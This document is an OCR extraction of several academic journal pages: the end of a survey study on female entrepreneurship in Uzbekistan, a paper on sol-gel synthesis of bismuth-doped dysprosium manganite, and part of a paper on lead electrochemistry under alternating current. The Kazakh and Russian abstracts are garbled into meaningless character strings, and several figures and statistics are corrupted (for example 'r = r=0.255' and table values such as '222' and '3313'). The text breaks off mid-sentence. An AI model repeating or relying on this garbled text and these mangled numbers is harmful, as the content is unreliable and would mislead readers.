higher figures than intended to start own business females which is 15%.

Entrepreneurship Challenges. It is identified that gender bias 27,5% is the most challenging factor
which motivates females to launch their business. In addition, questionnaire results discloses that, females
face with challenges in networking considering that there are very few individuals with whom they
consider as best friends and sharing any kind of issue, professional or personal 46.2% , and there are very
few individuals with whom they frequently talk about work related topics 46.2%, they personally do not
know people who occupy important posts around them and they seldom keep in touch with a number of
people who are at higher levels than they are 41.5%, they do not have a network of friendships around
them, that can help further their career progression 29.2%.

Work Life balance. The present study aims to understand how the female entrepreneurs in Uzbe-
kistan perceive work-life balance in the context of family life, but also in the context of free time and
leisure time, do they experience dual role conflict, and do they apply work family management strategies.
As females getting elder (30-35) with higher education level and currently a businessmen consider that
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work life balance and female entrepreneurships is not a challenging factor for them which stops them from
doing their job which constitutes 16% females taken as a sample from the population.

Human Capital Investment. Research done revealed that there is not so strong relationship between
human capital investment and female entrepreneurship. Meaning that, in human capital is not so in-
fluencing factor for females who is working in organization or running their own business are able to
manage their time and money for family and human capital investment (education, trainings). Moreover,
research shows that 18.5% higher management in organizations does not counter to supervisors to be
sensitive to female’s family and personal concerns. Furthermore, higher percentage of females are being
disagree with the point of in organization 43.1%, in organization it is very hard to leave during the work-
day to take care of personal or family matters employees are not encouraged to strike a balance between
their work and family lives 35.4%, females cannot easily balance their work and family life 43.1% or
organization is not supportive of females who want to switch to less demanding jobs for family reasons
36.9%.

Hypothesis testing Pearson Moment Correlation table of Female Entrepreneurship and
Selected Variables. Correlation coefficient between sub-domains from independent variables which
include motivations (internal and external), multiple challenging factors (mentoring, networking and
gender bias), work life balance and human capital investment and dependent variable, which is female
entrepreneurship. Most of the sub-domains from independent variables tested showed positive correlation
except for work life balance and human capital investment factors. The strongest relationship of
subdomain with dependent variable is between perceived motivations with perceived female
entrepreneurship (0.255), followed by perceived challenges (gender bias) with perceived female
entrepreneurship (0.271) and perceived with other challenges mentoring and networking with perceived
female entrepreneurship (0.186 and 0.167). The utmost significant correlation of perceived female
entrepreneurship with perceived motivations (r = r=0.255, p < 0.05) may due to females in Uzbekistan are
becoming more educated and independent which reflect their way of thinking and modern lifestyle.
Moreover, second significant correlation experienced of female entrepreneurship with perceived
challenge-gender bias (r = 0.271, p < 0.05). Results revealed from the data affirmed that female res-
pondents feel internal and external motivations are triggering factors in starting entrepreneurship and
challenges like gender bias is one of the challenge that females should come across which has a significant
relationship with female entrepreneurship. Significant correlation between the dependent and two
independent variables: intrinsic and extrinsic motivation and one of challenges: gender bias, be real in this
study. Most of the independent variables are significant at p < 0.05 level (1-tailed) and positively influence
to female entrepreneurship. Therefore, hypotheses HO, to HO, were rejected.

Multiple Regression Analyses for Female Entrepreneurship. To further see the effect of female
entrepreneurship and factors affecting to it, linear regression was done in which as independent variables
are taken motivations, challenges, work life balance and human capital investment. The F statistic for
female entrepreneurship model is 4.296, which is significant at a = 0.01. After excluding the non-
significant variables, the final regression model produced by enter method for female entrepreneurship is:
Female Entrepreneurship = (0.166) (Motivation) + (0.210) (Gender Stereotype) + 5.931. This model
explains 12% of variance in female entrepreneurship in Uzbekistan. This indicates that 12% of the
dependent variable (Female Entrepreneurship) was explained by the linear combination of the four
predictor variables. Among the four predictor variables, the results clearly revealed that gender bias was
found to be strongly significantly towards motivation to do business by females in Uzbekistan, followed
by other challenges (networking and mentoring) and perception of work life balance and human capital
investment.

Summary of Multiple Regression Analyses for Female Entrepreneurship

Unstandardized Coefficients Standardized Coefficients )
Model t Sig.
B Std. Error Beta
(Constant) 5.931 1.656 3.583 .001
MOTIVATION .166 .090 222 1.845 .070
GENDER 210 .105 240 1.997 .050
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Conclusion. Study results illustrates that females in Uzbekistan are both intrinsically and extrin-
sically motivated to start entrepreneurship. 46.2% females are strongly believe that they should apply
obtained in University in real life and do something worthwhile in their life 75.4%. Moreover, females
working in organizations prefer to start their own business 49.2% due to do more for society and reach
self-satisfaction and independence. Furthermore, 44.6% females prefer being self-employed than being
monthly salary taker and they believe that their business will be great opportunity for emerging and
promising line of business. Also, 47.7% of female respondents said they are influenced by their family
business to start entrepreneurship. Research shows that there is a strong relationship between female
entrepreneurship and motivation factors (intrinsic and extrinsic) and challenging factors (gender bias) in
doing business. Moreover, it is identified that gender bias 27,5% is the most challenging factor which
motivates females to launch their business. Within these factors, establishment of small enterprises owned
by women can help in increasing women’s autonomy and provide them the opportunity to have a more
active and representative role in the country’s economic and political life. Moreover, female entrepreneurs
can serve as role models for younger generations indicating new opportunities for employment.

Research done revealed that there is not so strong relationship in human capital investment, work life
balance and female entrepreneurship in Uzbekistan. Meaning that, in Uzbekistan females working in
organization or running their own business are able to manage work life balance (time and money) for
their family and for human capital investment (education, trainings). Moreover, research shows that 18.5%
higher management in organizations does not counter to supervisors to be sensitive to female’s family and
personal concerns. Furthermore, higher percentage of females, 43.1% are being disagree with the point of
in organization it is very hard to leave during the workday to take care of personal or family matters
employees are not encouraged to strike a balance between their work and family lives 35.4%, females
cannot easily balance their work and family life 43.1% or organization is not supportive of females who
want to switch to less demanding jobs for family reasons 36.9%.
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O3BEKCTAHJAFDBI 9JIEMAIK KOCIIIKEPJIIK

AHHOTanusi. MakallaHblH MakcaThl — SWelJIepJiH Here KocCilKep OONFBICH KeJeTiHIH jkoHe O30ekcraHzia
Kacinkep 0oy yIIiH KaHAall KMBIHABIKTapFa Tar OoJIaTBIHBIH aHbIKTay. Ochkl Makaigaga OM3HEC CaJlaChIHBIH KaKeT-
TUTIKTEpl 3epTTeNiN JKoHe O30eKcTaHIarsl ©3 OM3HECTEPiH KaJbINTACTHIPFaH SHENAepIiH JKeKe TaxipuOenepiHmeri
MOTHBTEpI, KE€3/IECKeH KHUBIHABIKTAPbl TYpajbl >KaJmbl TyciHik Oepineni. Ocel Makcarra, OyriHri tanga TamikeHT
OOJIBICHIHAA KOCIIKEPIIKIEeH aifHAJIBICHIT OTBIPFAH HEMece KOCIKepiikTi Oactayra HuHeTTeHinm oTbipraH 100 oifen
aJgaM cayaJHaMarbl KaTBICHII OJApIBIH JKEKe TYIFAIBIK KOHE KOCIOM MOTHBALMACHI, JKETICTIr jXKOHE TaxipmOeci
Typanibl aKmapar ajblHABI, OipaK cayalHAMaHBIH IITiHAE 65 cayasHama FaHa IYPBIC KOHE TOJBIK TOJTHIPBUIFAH.
Cayannama HoTikeci, TaiikeHT, ©30eKcTaHarbl SHeNACPIIH KOCIMKEPIIKIeH alHaJbICYbIHBI T'CHIEPIIK KO3Ka-
pacThIH Keperap acepi 6ap ekeHiH kepcerti. JlereHmMeH, O30ekcTaH oHeIAepiH YIIiH KUK KOHE TIIIMIEPIIIKIICH
KOCIMKEpIIiKKe KOJI JKETKI3yJiH MaHbI3bl Imamainbl. Onap YIIiH CerMeHTalusi MOJIENH MaiIaiblHy MaHbBI3AbIpaK
ekeHairi ycoiHbUAbl. COHBIMEH, ©30CKCTaH ayMarblHIa OJIIeMIep MEH >kolanap oies KbIHBICThLUIAP apachIHIa
3epTTeN/li, METOIUKAIBIK TYpPFhIHAAH Kapacak, >KbIHBICTHIK aibIpMAlIbUIBIKTAp apachlHla KICIMKEPIIKTIH JaMmybl
JICHI'€HiHIH TEHAIrH )KbIHBICKA KaThICTHI CABICTHIPCAK albIPMAIBIIBIK apachl ajllak.

Tyiiin ce3aep: olel KoCIKepIIiri, MOTHBAMSUIBIK (DakTopiap, afaMul KaluTaIIbIH WHBECTHIUSUIBIK TOPTdEi,
oHeI KOCIMKePIiriHaAeri KUBIHIBIKTAP.
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NPEATNTPUHUMATEJIBCTBO CPEJU )KEHIINUH Y3BEKUCTAHA

Annotanus. L{enb 3T0i cTaThyl — HAMTH, MOYEMY XKEHIIMHBI XOTSAT CTaTh MPEIIPHHAMATEISIMH B Y30€KUCTaHe
W C KakUMH{ NpoOJieMaMH OHHM CTaJKMBAlOTCs. B HacTosmieid pabore mpu3HaeTcss HEOOXOIUMOCTh IPOBEICHHMS
JIOTIOJTHUTEIBHBIX UCCIIEIOBaHUI B 3TOH 00JIaCTH M HAalpaBJICHHE 1I€JIH Ha BHISBICHHUE MOTHBOB, TPOOJIEM M JIMYHOTO
OTIBITa JKEHIIWH, KOTOpBIE co3fany Ou3Hec B Y30ekucrane. C 3TOH 1enpl0 B MCCIEAOBAHUH NPHUHUMAIH Y4acTHe
100 >keHIIMH, KOTOPBIC B HACTOSIIEE BPEMsI SBJSIFOTCS NMPEANPHHUMATENSIMHA HIIM HAMEPEHBI HauyaTh COOCTBEHHBIN
omsHec B TamkenTckoi obmacT. beuth momydeHsl nHGOpMAMK 00 WX JIMIHON U MPO(ecCHOHATEHOW MOTHBAIINH,
OIIBITE ¥ MPAKTHKE, HO TOJBKO 65 BOMPOCHUKOB OBIIIM 3alOHEHbI IPABUIBHO U B MOJIHOM 0o0beMe. Pe3ypraT moka-
3al, YTO TeHJIEpHas MPEAB3SATOCTh BIMSACT HAa MPEIIPHHUMATENIBCKYIO JEATENbHOCTh XKEHIIMH B TamkeHre, Y30e-
KUCTaH. MeX/y TeM, OpraHu3alii U HACTAaBHUYECTBO HE SIBIISIOTCS 00sI3aTeNIbHOM 3aaueil 1isl *KEeHIIMH Y30eKuc-
TaHa 3aHUMaromuecsa npeAnpruHUMaTeIbCTBOM. PeKOMeHﬂyeTCH HCIIOJIb30BAaTh MOJCJIb CCIrMCHTALlUU. HeCMOTpH Ha
TO, YTO MEPBI U IIKAJIbI OBUIH IPOBEPEHBI C TOYKH 3PEHHUS TOJILKO KEHCKOTI'0 NPeNPUHUMATENBCTBA B Y30€KUCTaHe,
MIOTOMY METOJIOJIOTUSI MOXKET NMPHUMEHSATHCS K IPOTHUBOIOJIOXKHOMY II0JIy, YTOOBI CPaBHUTH YPOBEHb pa3lIMuuil B
MOTHBALIUK U ITpoOJIeMax MpeapHHAMATEIILCTBA MEXKTY PA3IHIUIMHI MEKAY Pa3INIHBIMU TTOJIAMH.

KitroueBble cjIoBa: >KEHCKOE IPEANPUHUMATEIBCTBO, MOTHBAIIMOHHBIE (DaKTOpBI, MOPT(Ens MHBECTUIMH B
YeJIOBEUECKHH KalnTall, TPy IHOCTH B )KEHCKOM IPEIIPHHNMATEILCTBE.
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THE COMPOSITION AND STRUCTURE
OF BISMUTH-DOPED DYSPROSIUM MANGANITE

Abstract. The task of this work is to further study the composition and morphology of the powders of man-
ganite synthesized by Sol-gel method using oxides of dysprosium, manganese and bismuth. It is shown that when
using nitric acid as a precipitator, a single-phase powder can be obtained. Were identified methods of obtaining
perovskitelike powders of dysprosium manganite. Structural and morphological properties of the samples were
studied by x-ray phase analysis (X-ray) and scanning electron microscopy (SEM) in combination with optical micro-
scopy. By the method of X-ray phase analysis has previously been used to determine the structure and parameters of
elementary cells of the synthesized manganite. According to X-ray data, the manganite has an orthorhombic structure
with the following parameters: a=5.2793, b= 5.83, C=7.382 A, Z=4. Methods of optical and electronic microscopy
defined shapes and sizes of the obtained powders of the manganite. It is shown that the powders of manganite are
formed in the dendritic structure and it has particle sizes from 1 micron to 30 microns.

Key words: double bismuth manganite, Sol-gel method, structure, optical microscope, electronic microscope.

Introduction. The development of spintronic devices based on nanoscale boundaries of magnetic
materials is a complex task. In [1], heterostructures of complex materials with the use of manganites,
multiferroics, compounds of rare earth elements, etc.for non-volatile storage devices were considered.
Recently, a structure for memory cells has been proposed, providing reliable spin manipulation and
switching of magnetization between two stable positions in intermetallic structures [2]. The solution is
based on the superlattice of single-bonded rare earth compounds TbCo; and 3d transition metal FeCo. The
structure is characterized by a giant magnetostriction and demonstrates the transitions of spin reorientation
by an external magnetic field and/or elastic deformation [3, 4]. In transition metal oxides R;.xAxMnO3
(manganites), where R is one of the rare earth elements La or Pr, A is one of the alkaline earth metals Sr or
Ca, the new state electric and magnetic phases can occur when electric fields and strains in thin films or on
surfaces with dielectrics or other oxides. [5].

Methods. In this method of synthesis, trivalent metal oxides were used: dysprosium, manganese and
bismuth. The required amount of oxides was dissolved in distilled water. Citric acid and glycerol (2:3)
were added to the obtained solution as gelling agents. Then the solution was heated using an electric stove
with constant stirring at 80°C to remove excess water and obtain viscous gels. The gel was dried at 250°C
and annealed at 500°C for 10h to obtain the desired powder. The powders were crushed in an agate mortar
to obtain a homogenous mixture. Then they were placed in crucibles and annealed at temperatures of
600-1000°C for 19 hours [6].

The finished single-phase powder of the manganite was studied using XRF to determine the structure,
parameters of electronic cells and methods of optical and electron microscopy.

—— 134 ——



ISSN 1991-3494 Ne 6. 2018

Results
X-ray diffraction. It was found that the manganite synthesized by the Sol — gel method is single-phase
(figure 1).
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Figure 1 — The diffraction pattern of the manganite synthesized by the sol-gel method

The formation of new phases was controlled by the method of x-ray phase analysis produced by
X-ray diffractometer Miniflex 600 (Rigaku) using CuK o-radiation filtered by the Ni filter (U = 30 kV,
J =10 MmA, the rotation speed of 1000 pulses per second, time constant = 5 sec., the range of angles 20
from 5 to 900). Radiographs of the synthesized polycrystalline powders were indicated by the homology
method (homologue is a distorted structure type of perovskite). The density of manganites were deter-
mined by the pycnometric method according to GOST 2211-65. Toluene served as indifferent liquid. The
density of the manganite was measured 4-5 times and data were averaged [6].

Table 1 — The results on indexing of radiographs of manganite

# [°2Th.] d[A] Int. [%] 10%/d*xker. hkl 10%/d*reop.
1 11.38 7.769 0.2 165.67 (1,1,0) 165.67
2 16.12 5.494 1.8 3313 (2,0,0) 3313
3 19.78 4.486 6.5 496.91 2,1,1) 496.91
4 22.87 3.885 2.7 662.54 (2,2,0) 662.54
5 25.62 3.474 2.2 828,59 (0,1,3) 828,59
6 28.11 3.172 100.0 993,88 (2.2,2) 993,88
7 30.42 2.936 3.0 1160,08 (1,2,3) 1160,08
8 32.57 2.747 37.0 13252 (4,0,0) 13252
9 34.61 2.590 3.9 1490,74 (4,1,1) 1490,74
10 36.54 2.457 1.7 1656,49 (0,2,4) 1656,49
11 38.40 2.342 23 1823,16 (3.3,2) 1823,16
12 40.18 2.243 0.6 1987,65 (4.2,2) 1987,65

The results of the synthesized manganite radiograph indexing by different methods show that the
manganites have the orthorhombic structure with the following unit cell parameters (table 2).

The reliability of the indexing results is controlled by a satisfactory coincidence of experimental and
calculated values of the inverse squares of the interplanar spacing’s (10%/d%), and the coincidence degree of
the x-ray and pycnometric densities values of the studied compounds.

Thus, the double bismuth-manganite BDMO was synthesized by the sol-gel method, where glycerin
was used as the stabilizer of the sols. The use of this method made it possible to obtain single-phase
crystalline particles with a much shorter time [6].
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Table 2 — The unit cell parameters of the manganite obtained by sol-gel method

Ne Compound a B c Voncells A3 Z P rays g/cm3 Poye.s g/cm3

1 Big 1Dy 9MnO; 5.2793 5.83 7.382 227.26 4 7.765 7.761

Morphological study. Figure 2 shows a micrograph of manganite powders taken from a digital
material science microscope Leica DM 6000.

10 pm !
ey

10 umiSs
ety

©)

Figure 2 — A micrograph of powders of manganite with different magnifications:
a) an increase of 50, b) an increase of 100, ¢) an increase of 150

Microstructure of bulk samples was studied by scanning electron microscopy (SEM) JOEL JED-2300
with approaching up to x2000 and the ability to conduct elemental analysis. Photographs of the coatings
obtained are shown in figure 3.

This increase in particle size with the level of doping is apparently due to a change in the melting
point of the samples, which reduces the increase in the content of cations of alkaline earth metals. Accor-
ding to Harton et al. (2002), this effect leads to a liquid-phase process, which is facilitated by sintering and
increasing grain growth. On the surface, it can be seen that the resulting coating has a dense structure
consisting of 50 pm crystals.

The elemental analysis performed on an electron-scanning microscope (insert in figure 4) showed
that the atomic fractions of the elements practically coincide, which corresponds to the formula of
bismuth-dysprosium manganite — BDMO. As can be seen from figure 3, the powders obtained by this
technology are practically monodisperse, which is a great advantage of the method.
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Figure 3 — A micrograph of manganite powders taken on an electron microscope with different magnifications:
a) an increase of 100, b) an increase of 2 000, ¢) EDS microanalysis

Discussion. The manganite powders obtained by the sol-gel method have a single-phase structure.
According to micrographs, manganite has particle sizes from 1 micron to 30 microns.

Acknowledgment. This article was prepared with the financial support of the grant of the Ministry of
Education and Science of the Republic of Kazakhstan NeAP05130165 “Development and physical basis of

new crystal systems in the class of multiferroics”.
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BUCMYTIEH JIETUPJIEHTEH JUCITPO3UI MAHT AHUTIHIH, KYPAMBI )KOHE K¥PBLIBICHI

AnHOTanusi. ByJl >KYMBICTBIH MakcaTbl AWMCIPO3WH, MapraHel| »XoHE BHUCMYTTBIH OKCHATEpPIH MNaiilanaHbii
30JIb-TeJIb SMICIMEH CHHTE3ICITCH MaHTAaHWT YHTAFbIH apbl Kapail KypaMmbl MEH MOPQOJIOTHACHIH 3epTTey OOJBII
TaOBUTaIBl. A30T KBIIIKBUIIBIH TYHOAFa TYCIPYIIi peTiHAe Mmaifaiany apKbUIbl Oip (as3alibl MAHTaHUT YHTAFBIH alTyFa
0ONaTHIHIABIFB KopceTinreH. [IepoBKCUT THITI AWCIPO3WH MaHTAHWTIHIH YHTAFBIH ally OiCi aHBIKTAIFaH. YJITi-
JepIiH KYPBUIBICTHIK XKoHE MOP(OIOTHSIBIK KacueTTepi peHTreHodasanslk tannay (POT) sxoHe onTHKaNIbIK MUKPO-
CKOMUSIMEH Oipre CKaHupleyln 3ieKTpoHapl Mukpockonus (COM) omicrepimen 3eprreini. BypbiH penTreHodasa-
JBIK Tajgay OMiCi apKbUIBl CHHTE3JENreH MAHIAHUTTIH KYPBUIBICHI MEH KapamaibIM YAIIBIK IapaMeTpiepi aHbIK-
tasirad. POT monimerTepi OOMbIHIIIA MAaHTAHUT OPTOPOMOTHI KYPBIJIBICKA M€ €KeHI KOpCeTIIl JKoHe HapaMeTpliepi
Kenecigeii: a=5.2793, B= 5,83, ¢c=7.382A, Z=4. OnTuKansiK xoHe MeKTPOH/bI MUKPOCKOMHS diCTEPIMEH aJIBIHFAH
MaHI'aHUT YHTaKTapbIHbIH KeﬂeMi MCH enmeMuepi AHBIKTAJIJIbI. Manranur YHTaKTapbIHbIH [leH[lpl/ITTi KYPbUIBICKA UC
€KeHI KepCceTIi XoHe OHbIH ememMepi | MukponHad 30 MUKPOHFa apaJIbIFbIHIA.

Tyiiin ce3mep: BUCMYTTBIH KOCapjlaHFaH MaHTaHHTI, 30Jb-T€lb SMiCi, KYPBUIBIC, ONTHKAIBIK MHKPOCKOII,
3JIEKTPOH/BI MUKPOCKOII.
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COCTAB U CTPYKTYPA JIETUPOBAHHOI'O BUCMYTOM MAHI'AHUTA JUCITPO3USA

AHHOTanus. 3ajadyeil TaHHOW paOOTHI sBISACTCSA NANbHEHIEE WCCICAOBAHHE COCTaBa M MOPQOJIOTHIO MO-
POILKOB MaHraHUTa, CUHTE3UPOBAHHOTO 30JIb-T€JIb METOOM C MCIIOJIb30BAHMEM OKCHJOB JUCHPO3UsS, MapraHua u
BucMyTa. [loka3aHo, YTO MpPHU HCIIONB30BAHUM A30THOW KHMCIOTHI B KAYECTBE OCAAUTENS] MOXHO INOJYYUTh OJHO-
(hazHBII TOPOIIOK. BRI Ompenene bl MEeTOIBI TTOTYIEeHHUS TIEPOBCKUTOOTOOHBIX ITIOPOIITKOB MAaHTaHUTA JUCIIPO3HSI.
CrpyKTypHble 1 MOP(OIOTHUECKHE CBOWCTBA 00pa3LoB M3ydalld MeTojgaMu peHTrenodaszosoro anammsa (PDOA) u
CKaHUPYIOIIEH 3J1eKTpoHHOW MHUKpockomuu (COM) B codeTaHMHM C ONTHYECKOW MHKpOCKomueil. Meromom peHT-
reHo(a3o0BoOro aHanu3a panee ObLIM ONPEENICHbI CTPYKTYpa U MapaMeTpPhbl IEMEHTAPHBIX S4YeeK CHHTE3UPOBAHHOTO
manranuta. [lo nanHeiM POA ycTaHOBIIEHO, YTO MAaHTAaHUT UMEET OPTOPOMOMYECKYIO CTPYKTYPY CO CIEAYIOIMMU
mapamerpamu: a=5.2793, B= 5,83, ¢=7.382A, Z=4. MeTogaMu ONTHYECKOH U JMEKTPOHHON MHKPOCKOIHIA OIIpe-
JieJieHbl GOPMBI U pa3Mephl MOJYYCHHBIX MOPONIKOB MaHraHurta. [loka3aHo, 4TO MOPOIIKM MaHTaHUTA CKJIaJIbI-
BaIOTCSI B IEHAPUTHYIO CTPYKTYPY M OH UMEET pa3Mephl yacTull OT 1 MuKpoHa 10 30 MUKPOHOB.

KaioueBble cjioBa: JBOMHON MaHTaHUT BHUCMYTA, 30Jb-T€lIb METOJ, CTPYKTypa, ONTHYECKHH MHKPOCKOIL,
JNEKTPOHHBIA MUKPOCKOIL.
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KINETIC RESEARCHES AND ELECTROCHEMICAL BEHAVIOUR
OF LEAD AT POLARIZATION ALTERNATING CURRENT

Abstract. In the present work the kinetics and electrochemical behavior of lead during polarization by
alternating current that occur on the lead and graphite electrodes in an acid medium by using the potentiodynamic
method were researched. Anode-cathode and cathodic-anode cyclic polarization curves were taken to clarify the
mechanism of the electrode processes occurring during the polarization by an alternating current on a lead electrode.
According to the polarization measurements the kinetic parameters were calculated: charge transfer coefficients (o),
the heterogeneous constants of rate the electrode process (k;), and the effective activation energy of the process (E,).
The results are based on the high electrochemical activity of a lead electrode and the prospects of their use in
electrolysis with alternating current polarization for the synthesis of various lead compounds.

Key words: lead, electrode, alternating current, electrooxidation, electrical dissolution, kinetic parameters.

Introduction. Recently, the demand for various industries in non-ferrous metals is more satisfied by
their production from recycled materials. For the issue of recycling of secondary raw materials and various
types of industrial waste for valuable products of multi-purpose use is given great attention, since it allows
expanding not only the raw material base, but also to solve economic and environmental problems.

According to the data of [1, 2], especially lead (21.3%) is found in the hazardous solid wastes of
polymetallic plants that falls into the environment from rock dumps (53.8%) and existing tailing dumps
(39.6%). The effect of lead on the environment has a dampening and multiplying character. Concentration
of lead in polymetallic ores of different regions averages from 0.32 to 0.8% per ton, in rich to 1.5%, and in
very rich to 2.5%, sometimes higher.

In tailing dumps, depending on the time of their formation, lead content varies from 0.4 to 0.7 and
even up to 1.5%. At present, out-of-use lead-acid batteries, lead cables and other products are disposed of
again. Lead-acid battery scrap, as a rule, contains about 61% of pasty material and 39% of lead plates. The
paste contains 41% lead sulphate, as well as lead oxides and lead metal.

Known methods for extracting lead from the scrap of batteries include the use of a reflector furnace
or a shaft furnace for the smelting of lead [3, 4]. In the implementation of these processes, large amounts
of sulfur dioxide are formed, which is a danger to the environment. Increased control over the composition
of waste gases leads to a significant rise in the cost of the process.

The introduction of processes for the integrated processing of lead-containing materials, their
regulation and finding the optimal conditions for a particular process require the study of the electro-
chemical behavior of lead and its compounds. It should be noted that in recent years, alternating current
has been increasingly used in various branches of chemical technology, but the electrochemical behavior
of lead and the ability to synthesize its compounds under polarization by alternating current has not been
studied.
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One of the most urgent tasks today is the preparation of lead compounds by an electrochemical
method without additional reagents and additives [5, 6]. Technological schemes of isolation of lead used
in recent years do not give high indicators. In this connection, the synthesis of the most important metal
compounds using non-stationary electrolysis regimes is an urgent task. The peculiarity of the non-
stationary mode of electrolysis is the production of metals and its compounds of high purity, reduction of
reagent costs, the possibility of using wasteless and simplified technological processes [7, 8].

Studies of domestic and foreign scientists on the possibility of conducting electrochemical reactions
at alternating current are very limited. Most of the researchers studied the dissolution of vanadium in
aqueous solutions in electrolysis by alternating current, as well as the mechanism of its influence [9], the
process of silver dissolution in nitric acid at an alternating current of [10], the electrochemical behavior of
titanium and copper under alternating current polarization [11-13].

The electrochemical behavior of nickel in alkaline solutions was studied in [14, 15]. In the literature,
there are studies on the electrochemical synthesis of metal oxides using an alternating current for this
purpose. The author with co-workers [16] were studied the effect of the composition and concentration of
electrolyte, current density and electrolysis temperature on the oxidation rate of metals (Cu, Cd, Ti, Zn,
Sn, Ni, Al, Pb, Fe, Mo) under alternating current polarization with a frequency of 50 Hz.

Analysis of the literature data showed the prospects of using alternating current. Because of the lack
of knowledge about the kinetics of the processes of electrical dissolution, the poor knowledge of the
chemistry of metal dissolution, it became necessary to search for effective methods of investigation, to
determine the optimum conditions for the dissolution processes. In connection with this, it was of interest
to study the electrochemical behavior of lead in aqueous solutions when passing an alternating current.

The purpose of this work was to study the mechanism and kinetic regularities of lead electro-
oxidation processes in acidic solutions by the method of pull off potentiodynamic polarization curves, and
also to study the effect of the basic electrolysis parameters on the current output of lead dissolution and the
synthesis of lead(Il) nitrate.

Methods. In the work electrochemical behavior of lead electrodes at polarization by industrial non-
stationary current of 50 Hz without separation of the electrode space in a glass electrolyzer was
investigated. Sinusoidal alternating current was supplied using a B-24 current source. The current strength
was measured with an E-538 ammeter. To analyze the mechanism of electrochemical processes occurring
on the surface of electrodes, electrolysis was carried out under certain conditions. To produce non-
stationary current of different frequencies, the generator of GZM-231286 brand was used.

In order to study the mechanism of metal dissolution during the polarization of the lead electrode by
an alternating current, cyclic potentiodynamic curves on the potentiostat SVA-1BM were pull off. The
polarograms were recorded on a self-biased two-coordinate potentiometer PDS-021. The reference
electrode was chlorine silver (E” = +0.203 V), and an auxiliary electrode was made of platinum. When
pulling off the polarization curves, an electrode of a special design was used [17]. The investigations were
carried out in a thermostatic cell of YSEC-2 using a TGL8U thermostat.

The behavior of the lead electrode in solutions of nitric acid in the concentration range 0.5-3.0 M, at
solution temperatures of 20-80 °C and potential sweep rates of 10-100 mV/s has been studied. Anodic-
cathodic and cathodic-anode cyclic polarization curves were pull of to clarify the mechanism of the
electrode processes occurring on the lead electrode.

Results and discussions. In the background solution ([HNO3] = 10 g/I), on the lead electrode on the
cathodic branch of the cyclic polarization curve in the potential range minus 0.4 V a wave of reduction of
lead(Il) ions is observed, and the anode branch corresponds to the dissolution of metallic lead. On the
cathode curve, hydrogen is observed in the potential range of minus 1 V, and on the anode curve oxygen is
released at a potential E=+1.8 V.

As well as, cyclic polarization curves were measured in nitric acid solutions of lead nitrate ([Pb*'] =
=10 g/1, [HNO;] = 10 g/l). Recovery of lead in the cathode region passes through a maximum at a
potential of minus 0.5 V (figure 1), and at a potential «minus» of 0.8 V, hydrogen liberation is observed.
On the anodic-cathodic cyclic polarization curve (figure 2), the basic electrode processes remain the same.

The results of the investigation of electrode processes by pulling off cyclic polarization curves are
shown, that the electrochemical reactions proceeding in the cathodic and anodic half-cycle under the
polarization by industrial alternating current, differ substantially from the reactions proceeding on the
cathode and anode at the polarization by direct current.
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Figure 1 — Cathode-anode (1) and anodic-cathodic (2) cyclic polarization curves of a lead electrode:
[Pb*"1=10 g/I, [HNO;] = 10 g/I; v =10 mV/s; t = 20 °C

During the polarization of the lead electrodes by a nonstationary current in an acidic medium in
anode half-period, the lead electrode dissolves according to the following reaction:

Pb’ - 2e — Pb*" E’=-0.13B (1)
At the same time, the hydrogen ion reduction reaction proceeds:
2H'+ 2e'— H,1 (2)
Perhaps, in the solution, lead(Il) ions interact with nitrate ions by the reaction:
Pb*" + 2NO; — Pb(NO;), 3)
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Figure 2 — Anodic-cathode (1) and cathodic-anode (2) cyclic polarization curves of a lead electrode:
[Pb*1=10 g/I, [HNO;] = 10 g/l; v= 10 mV/s; t = 20 °C

For the characterizing of the mechanism of lead electrooxidation process based on processing of
polarization curves the following kinetic parameters have been determined: charge transfer coefficients
(o), heterogeneous rate constants (k;) of the electrode process (table 1) and effective activation energy of
the process (E,). Calculation of kinetic parameters (o, k) was carried out at temperatures of 20-25 °C and
sweep speeds of 20-80 mV/s.

Table 1 — The values of transfer coefficients (o) and heterogeneous rate constants (k;) of lead oxidation

L oC V, mV/s
20 | 40 60 | 80
Transfer coefficients (o)

20 0.31 0.24 0.21 0.17
25 0.38 0.26 0.22 0.21
Heterogeneous rate constants (ks10%, cms™)

20 2.93 3.20 2.98 3.14
25 2.79 4.61 2.61 4.30

By the values of the potential peak Ep and the half-peak Ep/, of the voltammograms, the transfer
coefficient (o) of the electrons for the anode process was calculated by the Matsuda and Ayabe equation
[18]. Calculation of heterogeneous rate constants of electrode processes is carried out by the Matsuda
equation [19].

An increase in the sweep rate of the potential, as can be seen from table 1, determines a decrease in
the value of o at temperatures of 20-25 ° C to 0.17-0.21, respectively, characteristic of irreversible pro-
cesses. Small values of the rate constants of electrode processes also indicate the irreversibility of the

— 14—



ISSN 1991-3494 Ne 6. 2018

electrochemical reaction proceeding from equation (1). The calculated value of the activation energy as a
function of temperature according to the Arrhenius equation is 23.53 kJ/mol. Analysis of the obtained
results and calculated kinetic parameters of electrode processes showed that the electrooxidation process
of lead has a mixed nature of control, which allows us to draw a conclusion about the diffusion-kinetic
regime of the electrode process.

It is established that in the case of the polarization with alternating current of two electrodes, they
dissolve in a very small amount. During replacing one of the electrodes with a graphite electrode, disso-
lution of a second electrode made from a lead plate is observed. At the same time the graphite electrode is
in the cathode half-cycle, the lead electrode is in the anode half-period and dissolves, forming divalent
lead(II) ions.

In the work the influence of various parameters of electrolysis: the current density on lead and
graphite electrodes, the concentration and temperature of the electrolyte, the duration of electrolysis, the
frequency of alternating current on the electrochemical behavior of lead electrodes in a nitric acid medium
under alternating current polarization is studied.

The influence of current density of a lead electrode in the range of 400-1000 A/m* was investigated,
and a graphite electrode with a constant current density of 40 kA/m? used as an auxiliary electrode. When
the current density on the lead electrode is increased, the current yield decreases from 98.1 to 20.3%. A
decrease in the current output is probably due to the oxidizing properties of nitrate ions at high current
densities, an oxide film is formed on the surface of the electrodes and passivation of the lead electrode is
observed.

The effect of the current density of a graphite electrode under polarization by the alternating-current
the current output of dissolving a lead electrode was also investigated. The current density at the lead
electrode was kept constant — 400 A/m?, and on graphite it varied in the range of 20-120 kA/m*. By
increasing of the current density on the graphite electrode, the yield of the lead electrode dissolution
current decreases (table 2).

Table 2 — Effect of the current density of a graphite electrode on the current output of dissolving the lead electrode
(ipp = 400 A/m*, Cpjnos = 1 M, 1=0.5h, t =20 °C, v = 50 Hz)

i, kA/m? 20 40 60 80 100 120

Current output, % 93 87 70 51 48 46

In the work, the effect of the electrolyte concentration on the current output of lead(Il) ions has also
been studied. By increasing the molar concentration of nitric acid to 3.0 M, the current output of the for-
